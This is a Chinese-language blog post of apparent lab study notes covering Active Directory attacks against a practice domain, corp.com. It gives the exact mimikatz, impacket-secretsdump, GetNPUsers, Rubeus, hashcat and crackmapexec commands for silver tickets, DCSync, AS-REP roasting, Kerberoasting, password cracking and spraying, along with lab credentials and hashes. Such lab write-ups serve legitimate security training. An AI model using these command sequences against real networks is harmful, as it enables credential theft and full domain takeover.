Active Directory 身分驗證攻擊 (2)

 Active Directory 身分驗證攻擊 (2)


Silver Tickets

使用 jeff / HenchmanPutridBonbon11 登入 Client75 後使用 iwr 搭配 -UseDefaultCredentials 

存取 web04,指令 iwr -UseDefaultCredentials http://web04

出現 401 - Unauthorized: Access is denied due to invalid credentials.



創建銀票要三個資訊

1. SPN 密碼 Hash

2. 網域 SID

3. 目標服務的 SPN


使用管理員權限啟動 mimikatz.exe 啟動 debug mode "privilege::debug"

接著輸入 sekurlsa::logonpasswords 來提取快取的 AD 憑證




第一個是服務 iis_service SPN 密碼 Hash 如下圖 4d28cf5252d39971419580a51484ca09




第二個是網域 SID,直接使用 whoami /user 去掉尾碼的 1105 就是我們要的網域 SID

S-1-5-21-1987370270-658905905-1781884369




第三個是 SPN,使用之前手動枚舉學過的 setspn -L iis_service 查找

SPN : HTTP/web04.corp.com



三個資訊都有了

1. SPN 密碼 Hash : 4d28cf5252d39971419580a51484ca09

2. 網域 SID : S-1-5-21-1987370270-658905905-1781884369

3. 目標服務的 SPN : HTTP/web04.corp.com

接著透過 mimikatz 創建使用者 jeffadmin 的銀票

指令 kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin




在 powershell 輸入 klist 查看現有記憶體中的票證,確認是 jeffadmin 對 web04





重新跑一次一開始使用的指令 iwr -UseDefaultCredentials http://web04

可以看到這一次是 HTTP 200 成功讀取了

值得注意的是,我們在沒有存取該用戶的明文密碼或密碼雜湊的情況下執行了此攻擊





練習 : 造訪位於http://web04的網頁。查看頁面的源代碼並找到該 flag

透過依樣的手法,將網頁下載回來存成一個 txt 檔案,再 type 查找 flag 即可

 curl -UseDefaultCredentials -O web04.txt http://web04

type web04.txt








DCSync


以系統管理員開啟 powershell 執行 mimikatz 查詢 dave 的 NTLM hash

指令 lsadump::dcsync /user:corp\dave or lsadump::dcsync /user:dave@corp.com

HASH 值 : 08d7a47a6f9f66b97b1bae4178747494



還記得之前 AD NTLM HASH 的 model 格式為 10000

查詢方式為 └─$ hashcat --help | grep -i "NTLM"




將剛剛的 HASH 存成 dave.hash 然後執行 hashcat 破解吧,指令 └─$ hashcat -m 1000 dave.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

因為之前破解過了是 Flowers1 所以會先檢查 cache 檔若有會直接跳過沒有才會進行破解
這時候可以加上 --show 參數顯示出之前的破解內容


執行 lsadump::dcsync /user:corp\Administrator 改查查看 default 管理者的 NTLM HASH

值 : 2892d26cdf84d7a70e2eb3b9f05c425e




一樣 hashcat 破破看得到密碼是 lab




破過了就到 cache,一樣可以用 --show 來顯示




上述的 dcsync 是透過 windows 上的 mimikatz 來獲得,但我們也可以直接從 kali 的機器上對 DC 直接做 dcsync 的動作,只是要帶上有全縣的帳號才能做,一樣查詢 dave 這個帳號

指令 : └─$ impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.230.70





練習 1 : 取得krbtgt帳號的 NTLM 雜湊值

執行指令 └─$ impacket-secretsdump -just-dc-user krbtgt corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.230.70





練習 2 : 取得使用者帳戶 maria 的存取權限並登入網域控制器。要執行初始枚舉步驟,您可以使用 pete 和密碼 Nexus123!。您將在 DC1 上的網域管理員的桌面上找到該標誌。如果您獲得要破解的雜湊值,請建立並使用一個不添加任何內容、「1」或「!」的規則檔案。rockyou.txt的密碼


用已知的 AD 帳號密碼 烘培一下看看有沒有帳號是 "不需要啟用 Kerberos 預先驗證"

└─$ impacket-GetNPUsers -dc-ip 192.168.230.70  -request -outputfile hashes.asreproast corp.com/pete

有兩個帳號 mike 與 dave,這是 AS-REP 格式,所以 hashcat 用 18200




建立一個 rule 稱為 2.rule,內容用 $1,3.rule 內容用 $!,執行 hashcat 破解看看

└─$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r ./2.rule --force 

└─$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r ./3.rule --force 

破解出來一個,帳號密碼 mike / Darkness1099!




執行 crackmapexec 密碼噴灑看看該帳號密碼對哪一台有管理者權限

└─$ crackmapexec smb 192.168.230.75 -u mike -p 'Darkness1099!' -d corp.com

看來對 Client75 有管理者權限



RDP 登入 Client75 先看一下 Domain admins 群組

Get-DomainGroupMember -Identity "domain admins"

發現有三個帳號 Administrator / jeffadmin / maria




在 Client75 開啟 mimikatz 執行 privilege::debug & sekurlsa::logonpasswords





結果發現 maria 的快取 HASH : 2a944a58d4ffa77137b2c587e6ed7626




hashcat 破破看 └─$ hashcat -m 1000 2a944a58d4ffa77137b2c587e6ed7626 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

得到密碼是 passwordt_1415




RDP 進 DC,└─$ xfreerdp /u:maria /p:'passwordt_1415' /d:corp.com /v:192.168.230.70

桌面拿 flag





練習 3 : 透過檢查洩漏的密碼資料庫站點,您發現密碼 VimForPowerShell123! 以前被網域使用者使用過。將此密碼噴灑到網域使用者 meg 和 backupuser。一旦您確定了一組有效的憑證,請使用本模組中的技術來取得對網域控制器的存取權限。您將在 DC1 上的網域管理員的桌面上找到該標誌


直接使用 crackmapexec 測試帳號密碼看哪一台有管理員權限

crackmapexec smb 192.168.210.75 -u meg  -p 'VimForPowerShell123!' -d corp.com

帳號 meg 測試了一輪沒有管理者權限



改測試帳號 backupuser,驗證失敗,所以看來該密碼不適用 backupuser

crackmapexec smb 192.168.210.75 -u backupuser -p 'VimForPowerShell123!' -d corp.com




改烘培一下看看有沒有帳號是 "不需要啟用 Kerberos 預先驗證"

└─$ impacket-GetNPUsers -dc-ip 192.168.210.70  -request -outputfile hashes.asreproast corp.com/meg

找到 dave






hashcat 下去開始破解,└─$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

得到帳號密碼 : dave / Flowers1





改用 dave 帳號密碼看看有沒有對哪一台有管理者權限

crackmapexec smb 192.168.210.75 -u dave -p 'Flowers1' -d corp.com

Client75 / Client74 都有權限





RDP 進 Client74 執行 Get-DomainGroupMember "Domain admins" 發現網域管理者成員有三個

Administrator、jeffadmin、backupuser





執行 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast

rubeus.exe 可以從這裡下載 https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

得到 backupuser 的 HASH 檔,這是 TSG-REQ 格式,mode 13100




hashcat 破破看吧,└─$ sudo hashcat -m 13100 backupuser.hash /usr/share/wordlists/rockyou.txt -r ./2.rule --force

破出來了是 DonovanJadeKnight1



RDP 進 DC 拿取 flag,└─$ xfreerdp /u:backupuser /p:'DonovanJadeKnight1' /d:corp.com /v:192.168.210.70






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)